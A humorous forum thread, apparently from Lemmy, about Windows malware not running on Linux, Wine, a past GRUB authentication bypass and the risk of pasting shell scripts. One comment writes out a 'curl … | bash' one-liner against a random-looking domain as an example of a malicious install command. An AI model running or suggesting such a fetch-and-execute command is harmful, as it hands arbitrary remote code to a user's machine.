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    [–] [email protected] 3 points 3 hours ago

    And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later

    [–] [email protected] 8 points 6 hours ago (2 children)

    Remember that time, when it was possible for about 6 years to hack into any Linux system (without drive encryption) which had GRUB by pressing backspace exactly 28 times? Yeah, good old times.

    https://www.hmarco.org/bugs/CVE-2015-8370-Grub2-authentication-bypass.html

    [–] [email protected] 1 points 13 minutes ago

    If the adversary has physical access you are generally pwned either way

    [–] [email protected] 1 points 17 minutes ago

    Breh. What? I feel naked right now.

    [–] [email protected] 85 points 12 hours ago (1 children)
    [–] [email protected] 10 points 7 hours ago (2 children)

    Why does your admin account look like a scrotum?

    [–] [email protected] 4 points 6 hours ago

    Maybe because scratching an itch there is generally seen as a bad move if you don't know what you're doing.

    [–] [email protected] 6 points 7 hours ago

    Yours doesn’t?

    [–] [email protected] 2 points 5 hours ago

    Well if the exe was in a bottle it would be dangerous.

    https://usebottles.com/ :D

    [–] [email protected] 108 points 17 hours ago* (last edited 9 hours ago) (6 children)

    ... and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

    [–] [email protected] 30 points 15 hours ago* (last edited 15 hours ago)
    curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
    

    Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

    [–] [email protected] 76 points 17 hours ago (1 children)

    But a forum post said it would fix my issue.

    [–] [email protected] 31 points 17 hours ago (1 children)

    I feel like there's some truth to this!

    If the posted answer was in a moderately active thread, you can generally assume it's correct if there are no contradictory replies.

    [–] [email protected] 28 points 17 hours ago

    If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.

    [–] [email protected] 45 points 17 hours ago (1 children)

    Raises hand I might be some people πŸ₯Ί

    [–] [email protected] 8 points 11 hours ago

    There's some people in all of us

    [–] [email protected] 2 points 9 hours ago (2 children)

    ...so, never put things in the terminal?

    [–] [email protected] 4 points 7 hours ago

    In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.

    [–] [email protected] 1 points 8 hours ago
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    [–] [email protected] 2 points 9 hours ago

    Wrong location my dear

    [–] [email protected] 156 points 22 hours ago (2 children)

    This is were WINE comes handy /s

    [–] [email protected] 8 points 8 hours ago

    Virus running in wine: "WTF is this place. It's familiar, but it's all wrong!"

    [–] [email protected] 53 points 20 hours ago (11 children)
    [–] [email protected] 23 points 17 hours ago

    WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.

    Hehe

    [–] [email protected] 14 points 18 hours ago* (last edited 18 hours ago) (1 children)

    now im really tempted to try it, we have a decryptor now dont we?

    inb4 decryptor: borked

    [–] [email protected] 27 points 18 hours ago* (last edited 17 hours ago)

    What works

    Encryption - Yes

    GUI - Yes

    What does not

    SMB & Network replication does not always work, may require SMB network patch.

    See: Misc Things to configure (Samba Shares)

    Some Font rendering issues.

    What was not tested

    Decryption

    Ransom Payment

    Uh oh. And giving it "platinum" even though some stuff doesn't work and basic features weren't tested is bullshit. I demand a retraction!

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    [–] [email protected] 47 points 19 hours ago (2 children)

    A friend of mine once downloaded something malicious to his Linux machine and wasn't worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, "hey, what's this?" Oops.

    He's a tech savvy guy, so I'm guessing the fact he had downloaded it himself really let his guard down.

    [–] [email protected] 51 points 18 hours ago

    That's why you don't store your stool samples in the same fridge as your chocolate pudding. Malware goes into the vault.

    [–] [email protected] 22 points 17 hours ago

    That's another reason not to dual boot. Ditch Windows.

    [–] [email protected] 74 points 21 hours ago

    Wine automatically running:

    [–] [email protected] 6 points 13 hours ago

    The virgin bin vs the chad .exe

    [–] [email protected] 36 points 20 hours ago (4 children)

    It does if you right click it and run with wine or whatever it says

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